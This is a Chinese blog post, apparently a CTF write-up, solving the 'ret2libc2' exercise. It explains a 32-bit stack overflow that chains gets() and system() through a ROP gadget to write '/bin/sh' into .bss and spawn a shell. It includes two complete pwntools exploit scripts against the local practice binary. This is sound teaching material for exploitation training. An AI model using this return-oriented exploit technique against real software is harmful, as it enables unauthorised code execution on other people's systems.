ret2libc 2

  • Post author:
  • Post category:其他




ret2libc 2

该题目与retlibc1基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。

这里我们和上一题构造system函数一样构造gets函数用于读入/bin/sh字符串,然后我们需要考虑读到什么地址?

一般来说在程序运行时bss段会分配很大一段空间,所以我们在此基础上随意制定一个地址就可以了。

p.sendline('a'*112 + p32(elf.plt['gets']) + 'aaaa' + p32(elf.bss()+0x100))

但这里有个问题,这里我们希望在在执行了gets函数后执行system函数,但此时gets函数的返回地址为aaaa,所以怎么执行system函数呢?

这里我们就需要运用rop技术,rop就是用多个gadget把单个操作串联起来

类似于pop eax;ret,这种以ret结尾的代码就被称作gadget

寻找gadget可以用ROPgadget手动寻找,也可以使用pwntools的ROP模块自动寻找合适的gadget

p.sendline('a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss() + 0x100))

这里就是执行了gets(elf.bss()+0x100)和system(elf.bss() + 0x100),中间用gadget连接起来了。

然后程序执行到gets的时候会等待我们输入

p.sendline('/bin/sh\x00')

具体exp如下⬇️

from pwn import *

p = process('./ret2libc2')
elf = ELF('./ret2libc2')
rop = ROP(elf)

p.sendline('a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss() + 0x100))
p.sendline('/bin/sh')
p.interactive()
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()



版权声明:本文为weixin_44864859原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。